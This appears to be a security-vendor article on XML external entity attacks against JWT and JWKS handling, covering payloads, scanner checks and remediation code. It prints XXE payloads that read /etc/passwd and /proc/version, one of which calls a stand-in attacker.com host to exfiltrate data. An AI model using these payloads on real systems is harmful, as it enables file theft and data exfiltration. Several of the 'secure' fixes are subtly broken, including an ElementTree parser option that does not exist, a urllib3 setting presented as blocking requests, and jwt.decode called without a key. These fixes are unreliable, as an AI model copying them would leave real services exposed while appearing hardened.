Xml External Entities with Jwt Tokens
How Xml External Entities Manifests in Jwt Tokens
XML External Entity (XXE) vulnerabilities in JWT contexts occur when JWT libraries process XML data during token operations, particularly during token validation or when handling XML-based token formats. This creates unexpected attack surfaces even in systems primarily using JWT.
The most common Jwt Tokens-specific manifestation occurs during JWKS (JSON Web Key Set) retrieval. When a JWT library fetches public keys from a JWKS endpoint, if that endpoint returns XML content instead of JSON, vulnerable libraries may attempt XML parsing. An attacker can host a malicious JWKS endpoint that returns XML containing external entity references:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe2 SYSTEM "http://attacker.com/steal?data=%filecontent%">
]>
<root><data>&xxe;&xxe2;</data></root>Another Jwt Tokens-specific scenario involves XML-based token formats used alongside JWT. Some legacy systems use SAML assertions or XML tokens for authentication but also support JWT for newer clients. When these systems validate tokens, they may process XML content that contains malicious external entities, leading to information disclosure or server-side request forgery.
JWK Set endpoints themselves can be exploited if they accept XML parameters. For example, a JWKS URL like https://auth.example.com/.well-known/jwks?format=xml that processes XML input could be vulnerable to XXE attacks, allowing attackers to read sensitive files or make internal network requests.
Jwt Tokens-Specific Detection
Detecting XXE in Jwt Tokens implementations requires examining both the JWT processing code and any XML handling paths. Start by auditing JWT libraries and their dependencies for XML parser usage. Vulnerable libraries often include XML processing capabilities for handling non-standard token formats or configuration files.
Static analysis should look for patterns like:
import xml.etree.ElementTree as ET
import xml.dom.minidom
import xml.sax
import lxml.etreeDynamic testing involves submitting XML content to JWT endpoints and observing responses. A simple test payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///proc/version">
]>
<test>&xxe;</test>middleBrick's black-box scanning specifically tests Jwt Tokens endpoints for XXE vulnerabilities by submitting XML payloads to JWKS endpoints and token validation APIs. The scanner checks for:
- XML parsing of JWKS responses
- XML processing in token validation middleware
- External entity resolution in XML-based authentication flows
- SSRF through XML external entities in JWT-related endpoints
The scanner also examines OpenAPI specifications for endpoints that might accept XML content, cross-referencing this with runtime testing to identify XXE vulnerabilities specific to Jwt Tokens implementations.
Jwt Tokens-Specific Remediation
Remediating XXE in Jwt Tokens implementations requires a multi-layered approach. First, ensure all XML parsers are configured with external entity processing disabled:
# Python - ElementTree
import xml.etree.ElementTree as ET
parser = ET.XMLParser(resolve_entities=False)
tree = ET.parse('file.xml', parser)For JWT libraries that might process XML, implement strict content-type validation:
import requests
from typing import Dict, Any
def fetch_jwks(url: str) -> Dict[str, Any]:
response = requests.get(url, timeout=5)
# Validate content-type is JSON
if 'application/json' not in response.headers.get('Content-Type', ''):
raise ValueError('Invalid JWKS content type')
return response.json()When using JWT libraries, configure them to reject non-JSON content:
import jwt
from jwt import PyJWKClient
class SecureJWKClient(PyJWKClient):
def get_signing_key_from_jwt(self, jwt_token):
# Ensure we only process valid JWTs, not XML content
if not jwt_token.strip().startswith('eyJ'):
raise ValueError('Invalid JWT format')
return super().get_signing_key_from_jwt(jwt_token)For systems that must handle XML for other purposes, use secure XML parsers with all external entity processing disabled:
# Secure XML parsing example
from defusedxml.ElementTree import parse
tree = parse('input.xml')
root = tree.getroot()Implement network-layer controls to prevent outbound requests from XML parsers:
import urllib3
# Disable all HTTP/HTTPS requests from XML parsers
urllib3.disable_warnings()
urllib3.poolmanager.PoolManager.num_pools = 0Finally, add runtime validation to JWT processing pipelines:
from fastapi import HTTPException
from pydantic import BaseModel
class JWTValidationRequest(BaseModel):
token: str
async def validate_jwt(request: JWTValidationRequest):
# Reject tokens that look like XML
if '<' in request.token or '>' in request.token:
raise HTTPException(status_code=400, detail='Invalid token format')
# Continue with normal JWT validation
try:
decoded = jwt.decode(request.token, options={'verify_signature': True})
return decoded
except jwt.InvalidTokenError:
raise HTTPException(status_code=401, detail='Invalid token')